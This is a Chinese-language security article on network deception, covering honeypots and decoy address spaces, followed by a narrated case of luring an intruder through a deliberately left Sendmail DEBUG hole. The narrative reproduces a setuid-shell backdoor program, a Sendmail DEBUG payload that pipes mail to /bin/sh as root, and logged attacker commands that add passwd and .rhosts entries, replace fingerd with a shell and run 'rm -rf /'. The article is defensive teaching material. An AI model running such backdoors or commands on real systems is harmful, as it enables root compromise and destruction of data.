网络欺骗方法及攻防实例
来源:计算机安全 更新时间:2012-04-13
 
 
诱敌深入是一门很实用的战术,古今中外,很多军事家、政治家、企业家都对这个战术津津乐道,在网络攻防中也不例外,系统管理员也会用到这样的战术。由于每个网络系统都有安全方面的弱点,如果它的价值很高的话,这些弱点就有可能被入侵者利用。通常,人们会主动去弥补这些漏洞或者缺陷,如果系统管理员有一手的话,完全可以使入侵者相信系统存在安全缺陷,并将其引向这些错误的资源,也就是“诱敌深入”。当然,也需要在“知己知彼”的基础上才能“百战百胜”。管理员还可以跟踪入侵者的行为,在入侵者之前修补系统可能存在的安全漏洞。这可以形象地比喻为“牵着牛鼻子走路”。

一、网络欺骗方法探幽

网络管理员和入侵者在工作上永远是不相容的两个派别,至于工作之外是什么角色就不好说了。实践过程中,我们可以用逆向的思维来猜测入侵者的进攻技术和意图,牵着他的“牛鼻子”,按照我们给他设计好的意志进行选择,并且逐步消耗他的资源。这样,就会使入侵者感到要达到期望的目标还是具有一定挑战性的。一般来说,网络欺骗的方法可以从以下几个方面来考虑。
1、诱饵:Honey Pot和分布式Honey Pot
最早采用的网络欺骗是Honey Pot技术,Honey Pot就像一个诱饵,它将少量的有吸引力的目标(即Honey Pot)放在让入侵者很容易发现的地方,使之落入圈套。其中采用的技术手段很多,通常包括安插错误信息和隐藏等。前者包括重定向路由、伪造假信息和设置圈套,后者包括隐藏服务、多路径和维护安全状态信息机密性。这样就可以使入侵者将技术、精力集中到Honey Pot而不是其他真正有价值的正常系统和资源中,因此这个诱饵必须做的尽量“美味、可口”。
 
尽管Honey Pot技术可以迅速切换,但是,对稍高级的网络入侵,Honey Pot技术就作用甚微了。因此,分布式Honey Pot技术便应运而生,它将欺骗(Honey Pot)散布在网络的正常系统和资源中,利用闲置的服务端口来充当欺骗,从而增大了入侵者遭遇欺骗的可能性。分布式Honey Pot技术有两个直接的效果,首先是将欺骗分布到更广范围的IP地址和端口空间中,其次是增大了欺骗在整个网络中的百分比,使得欺骗比安全弱点被入侵者扫描器发现的可能性增大。
 
分布式Honey Pot技术也不是十全十美的,它的局限性体现在三个方面:一是它对穷尽整个空间搜索的网络扫描无效;二是只提供了相对较低的欺骗质量;三是只相对使整个搜索空间的安全弱点减少。而且,这种技术的一个更为严重的缺陷是它只对远程扫描有效。如果入侵已经部分进入到网络系统中,处于观察(如嗅探)而非主动扫描阶段时,真正的网络服务对入侵者已经透明,那么这种欺骗将失去作用。
2、真假“李逵”:空间欺骗技术
计算机系统具有多宿主能力(multi-homed capability),就是在只有一块以太网卡的计算机上能实现具有众多IP地址的主机,实际上,现在已有研究机构能将超过4000个IP地址绑定在一台运行Linux的PC上,而且每个IP地址还具有它们自己的MAC地址。这项技术可用于建立填充一大段地址空间的欺骗,且花费极低。欺骗空间技术就是通过增加搜索空间来显著地增加入侵者的工作量,从而达到安全防护的目的。这样许许多多不同的欺骗,就可以在一台计算机上实现。当入侵者的扫描器访问到网络系统的外部路由器并探测到这一欺骗服务时,还可将扫描器所有的网络流量重定向到欺骗上,使得接下来的远程访问变成这个欺骗的继续。
 
从防护的效果上看,将网络服务放置在所有这些IP地址上将毫无疑问地增加了入侵者的工作量,因为他们需要决定哪些服务是真正的,哪些服务是伪造的,特别是这样的4万个以上IP地址都放置了伪造网络服务的系统。而且,在这种情况下,欺骗服务相对更容易被扫描器发现,通过诱使入侵者上当,增加了入侵时间,从而大量消耗入侵者的资源,使真正的网络服务被探测到的可能性大大减小。
 
当然,采用这种欺骗时网络流量和服务的重定向必须严格保密,因为一旦暴露就将招致攻击,从而导致入侵者很容易将任一已知有效的服务和这种用于测试入侵者的扫描探测及其响应的欺骗区分开来。
3、用户信息迷惑:组织信息欺骗和多重地址转换
面对网络攻击技术的不断提高,一种网络欺骗技术肯定不能做到总是成功,必须不断地提高欺骗质量,才能使入侵者难以将合法服务和欺骗区分开来。多重地址转换和组织信息欺骗能有效地迷惑对手。
 
如果组织的DNS服务器包含了个人系统拥有者及其位置的详细信息,那么你就需要在欺骗的DNS列表中具有伪造的拥有者及其位置,否则欺骗很容易被发现。而且,伪造的人和位置也需要有伪造的信息如薪水、预算和个人记录等等。因此,如果某个组织提供有关个人和系统信息的访问,那么欺骗也必须以某种方式反映出这些信息。
 
另外,在信息迷惑上,地址的多次转换能将欺骗网络和真实网络分离开来,这样就可利用真实的计算机替换低可信度的欺骗,增加了间接性和隐蔽性。其基本的概念就是重定向代理服务(通过改写代理服务器程序实现),由代理服务进行地址转换,使相同的源和目的地址像真实系统那样被维护在欺骗系统中。
4、网络信息迷惑:网络动态配置和网络流量仿真
真实网络是随时间而改变的,如果欺骗是静态的,那么在入侵者长期监视的情况下就会导致欺骗无效。因此,需要动态配置欺骗网络以模拟正常的网络行为,使欺骗网络也像真实网络那样随时间而改变。为使之有效,欺骗特性也应该能尽可能地反映出真实系统的特性。例如,如果办公室的计算机在下班之后关机,那么欺骗计算机也应该在同一时刻关机。其他的如假期、周末和特殊时刻也必须考虑,否则入侵者将很可能发现欺骗。
 
产生仿真流量的目的是使流量分析不能检测到欺骗。在欺骗系统中产生仿真流量有两种方法。一种方法是采用实时方式或重现方式复制真正的网络流量,这使得欺骗系统与真实系统十分相似,因为所有的访问连接都被复制了;还有一种方法是从远程产生伪造流量,使入侵者可以发现和利用。
 
在欺骗与被欺骗的过程中,对双方的智力考验要求是很高的。如果在其中某个环节的判断上出了问题,就可能反而陷入别人的圈套。因此,必须对相关的欺骗手法有一定的了解,这样就能在实践操作中做出准确的判断。下面,我们来看一个“诱敌深入”的攻防实践。

二、欺骗实例之“诱敌深入”

相信很多朋友都知道,邮件服务器软件Sendmail中有个安全漏洞,入侵者如果熟悉邮件服务器软件Sendmail,他肯定会试探着攻击。据说只要收到被做过手脚的邮件,邮件服务器设备管理员的权限就有可能被篡夺。由于可以通过邮件进行攻击,因此很难用防火墙等防范。尤其是基本上所有版本的Sendmail都受到影响,因此我们决定使用邮件服务器软件Sendmail作为诱饵。在这个实例中,将会使用到上面所介绍的一些欺骗技术。
1、关于Sendmail的一些知识
Sendmail作为 Linux、BSD和其他Unix平台的“标配”,被广泛使用。使用Sendmail很重要的一条是,必须记得随时了解他的站点动态,在http://www.sendmail.org这个网站公布了关于sendmail的一些最新版本和相关信息,http://www.sendmail.org/8.13.0.Alpha0.html是目前的最新测试版本。作为一个相当普及的软件,再加上众多的相关软件支持,配置Sendmail可以算得上系统管理员的基本技能之一了。
Sendmail 主要的配置文件如下:
/etc/sendmail.cf是Sendmail 核心配置文件;
/etc/aliases是邮件别名文件;
/etc/mail/relay-domains用于设定可RELAY的域名;
/etc/mail/access用来设定处理来信的方式如RELAY等;
在默认情况下,也就是安装Sendmail服务器不做任何设置的情况下,则只能在本机上收发邮件,网络上其它主机不能向该SMTP服务器发送邮件。关于Sendmail的具体安装配置过程,我们可以通过http://www.worldhello.net/doc/email_howto/sendmail.html这个网址得到比较满意的答案。
2、序幕
为了给黑客们一个惊喜,我们故意留出了一个DUBUG漏洞,张开网后,就等鱼儿上钩了。大概一个多月都没有动静,终于,在我们无意中间接公布了一些系统的消息后,发现系统出了异常的日志是在2004年2月14日,可能是由于情人节的落寞想找个地方来发泄,一个黑客发现了我们公布的计算机的漏洞,试图获得我们的password文件,顺水推舟,我们就给他送了一份人情,很快我们就发现在口令文件 passwd 中增加了一个 UID 为 0 的账号。
 
这个黑客十分有耐心,手段也很高明。一切在意料之中,我们在机器的/tmp目录下又发现了一个程序,而且只要运行这个程序,就会轻易得到用户权限。根据我们自己掌握的情况,这种方法在网上几乎是最受欢迎的了。不过,对于系统用户来说,定期清理/tmp下的文件是很正常的,因此即使我们清理这个文件,他也不会感到意外。我们打开在 /tmp 目录下放置 的C源程序进行了研究:
<++> backdoor/backdoor2.c
#include 
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->
 
很明显,这是一个后门程序,通过这个程序可以获得一些关于根用户的相关属性,这对黑客来说是一个刺激,对我们管理员来说,既然要“诱敌深入”做个测试,就肯定也存在一定挑战了。而现在我们所要做的,就是引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。除了在机器上设置记录日志并隐藏这些日志,我们还添加了一些虚假的服务在系统上。由于每天定时产生的日志量非常大,为了有针对地了解攻击动向,我们做了一个script文件用来检索每天的日志。其中,我们主要检查以下几点:
 
Telnet/login服务检查:如果有黑客试图进入我们的系统,他肯定要尝试很多帐户和密码,这样他的一举一动都会被我们记录下来。当然,由于试探的人比较多,五花八门三教九流,水平太次的人我们是不会给他机会的。然后就是探测Guest / visitor 账号,黑客们第一个寻找的就是公用账号。这些账号提供了友好的、最轻易地获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。
 
FTP服务检索:检索的工具会报告每天所有注册和试图注册的用户名。我们伪造了一个passwd文件,获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。
 
SMTP DEBUG:这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
Finger:Finger提供了大量有用的信息给黑客:账号名,该账号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。很多探测器都使用figner命令来查明调用的机器和使用者。
3、较量
设置好上面的服务以后,由于我们的目标有点暴露,因此被攻击率比较高。但是,当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。就象我们生活在大千世界一样,每个人的想法不一定相同。从这些日志所记录的事件里面,我们可以发现很多人的不同心理,或善意,或好奇,或者出于成就感。为了给黑客一个提醒,我们设置了一个自动回信,大致内容是:
 
“如果你到了这个地方,就已经很不错了,如果你希望继续,我们也可以陪你玩玩。如果我们现在正看着你的操作,感觉如何?”。
不过,对于高手来说,这招并不一定能奏效。下面的日志,记录了两个邮件发送器的相互对话,整个心理过程可以从中窥探出来。
00:43:10 smtpd[27466]: <--- 220 xxx.xxx.com SMTP
00:43:14 smtpd[27466]: -------> debug
00:43:14 smtpd[27466]: DEBUG attempt
00:43:14 smtpd[27466]: <--- 200 OK
00:43:25 smtpd[27466]: -------> mail from:
00:43:25 smtpd[27466]: <--- 503 Expecting HELO
00:43:34 smtpd[27466]: -------> helo
00:43:34 smtpd[27466]: HELO from
00:43:34 smtpd[27466]: <--- 250 xxx.xxx.com
00:43:42 smtpd[27466]: -------> mail from: 
00:43:42 smtpd[27466]: <--- 250 OK
00:43:59 smtpd[27466]: -------> rcpt to: 00:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
00:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
00:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
00:44:45 smtpd[27466]: <--- 250 OK
00:44:48 smtpd[27466]: -------> data
00:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
00:45:04 smtpd[27466]: <--- 250 OK
00:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
00:45:08 smtpd[27466]: -------> quit
00:45:08 smtpd[27466]: <--- 221 xxx.xxx.com Terminating
00:45:08 smtpd[27466]: finished.
这是我们对SMTP过程的日志。在这个例子中,另一端是由人来键入命令。入侵者尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。在DEBUG模式下,Sendmail可以用它来以ROOT身份执行一段命令。即:
sed -e '1,/?$/'d | /bin/sh ; exit 0"
它去掉了邮件头的信息,并使用ROOT身份执行了消息体,这样可以隐藏一些关于他的信息。之后,这个入侵者试探着从我们的服务器上取得一些密码和账户文件,于是我们编造了一份假文件,给他发过去,密文破解后的意思是:“小心玩火自焚!”。
4、寻踪
这样几天没有动静,估计这个入侵者不死心,在考虑该怎么来修改密码文件了。其实,到这一步,我们完全可以把机器的补丁打上,不过,玩就要玩个痛快。不过,我们也在纳闷,这个入侵者不会知难而退了吧,还是有其他的工作在忙呢?静悄悄的,我们等待着。
星期五的晚上,一个难得的周末。机房监控的终端报告有安全事件,我们的入侵检测系统也时不时地报告有些错误发生。核对日志后,我们发现,有人试图使用DEBUG来用ROOT身份执行命令,也就是说,他试图修改我们的密码文件,一切尽在不言中,我不得不佩服这个入侵者的耐心和智慧!查看日志,我们发现,这次入侵同样是来自上次的连接:hust.whnet.edu。我们开始思考:现在到底是“诱敌深入”?还是“引狼入室”?从感觉来看,这个黑客比我们想象中的要厉害,而且他对现在的系统和系统漏洞相当的了解。难道我们要做的就是“拔掉网线”吗?思索中,一切仍然在进行中。
 
出于真实性考虑,我们在采取一些信息迷惑的同时,也公布了一些让黑客进入的诱饵。其中ftp的passwd是真实的,另外还生成了一个账号,但却使它不可操作。同时,又要让入侵者以为他自己已经改变了passwd文件,但却不急于让他进来。因此还需要给这个入侵者创造一定的条件。于是,我生成了一个临时账号c,当它被调用时就会给我发信,为了保险起见,我把c账号在实际passwd文件中改成了cndes,当我作完后,这个入侵者继续尝试:
 
00:44 echo "cndes ::301:1::/:/bin/sh" >> /etc/passwd
他尝试了几个命令,但是没有成功,终于他发现了cndes这个账号,于是产生了下面的日志:
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:55 echo "cndes ::303:1::/tmp:/bin/sh" >> /etc/passwd
00:57 (Added cndes to the real password file.)
00:58 Attempt to login to inet with cndes from hust.whnet.edu
00:58 Attempt to login to inet with cndes from hust.whnet.edu
01:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 hust.whnet.edu">>/etc./?H?H?H
01:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
01:06 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts
01:08 echo "hust.whnet.edu cndes">>/tmp/.rhosts
这时,这个入侵者的活动又转到了ftp上:
Feb 20 01:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Feb 20 01:36:55 inet ftpd[14437]: -------> user cndes?M
Feb 20 01:36:55 inet ftpd[14437]: <--- 331 Password required for cndes.
Feb 20 01:37:06 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Feb 20 01:37:13 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Feb 20 01:37:24 inet ftpd[14437]: -------> HELP?M
Feb 20 01:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
Feb 20 01:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Feb 20 01:37:31 inet ftpd[14437]: -------> QUIT?M
Feb 20 01:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0
Feb 20 01:37:31 inet inetd[116]: exit 14437
Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454
Feb 20 01:37:41 inet inetd[116]: exit 14454
01:38 finger attempt on cndes
01:48 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts.equiv
01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
看的出,他在这方面是很在行的,幸运的是,他只是破坏了我们模拟机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际fingerd程序。黑客的活动仍然在继续,摘录的相关日志如下:
01:57 Attempt to login to inet with cndes from hust.whnet.edu
01:58 cp /bin/csh /usr/etc/fingerd
02:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
按照他的意思,fingerd现在重新开始工作。现在他试图修改password,不过,这永远不会成功,因为passwd的输入是/dev/tty,而不是sendmail所执行的shell script。攻击在继续中:
02:16 Attempt to login to inet with cndes from hust.whnet.edu
02:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
02:19 chmod 4755 /tmp/shell
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu
又是一番折腾,连续的战斗,已经让我们疲惫不堪了,不过,这位入侵者也应该很疲惫了。突然,我发现了一个新的日志:
02:55 rm -rf /&
       看来他试图删除所有进入的痕迹,估计他很累了。但是,对于这个黑客来说,“没有进行破坏”是说不过去的,根据计算机安全的基本原则,当数据的"完整性、可用性和机密性"中任意三者之一在受到破坏的时候,都应视为安全受到了破坏。在实际情况中,间谍们只是默默地拿走你的数据而绝不做任何的破坏,而且尽最大可能地掩盖自己行动的痕迹。这些黑客希望长时间大量地得到珍贵的数据而不被发觉,这其实是最可怕的一种攻击行为。看来,今天碰到的这个黑客确实很职业,不过,他没有意识到我们给他布置的“局”,徒劳的长时间攻击之后,他选择了退出。我们也很累了,不过,现在最要紧的,就是马上恢复并且马上打上最新的sendmail系统补丁了。
随着计算机安全技术的发展,计算机网络将日益成为工业、农业和国防等方面的重要信息交换手段,渗透到社会生活的各个领域。因此,认清网络的脆弱性和潜在威胁,采取强有力的安全策略,对于保障网络的安全性将变得十分重要。同时,计算机网络技术目前正处于蓬勃发展的阶段,新技术层出不穷,其中也不可避免地存在一些漏洞,因此,进行网络防范要不断追踪新技术的应用情况,同时要把握黑客的心理,做到“知己知彼,百战不殆”,从而逐渐完善自身的防御措施。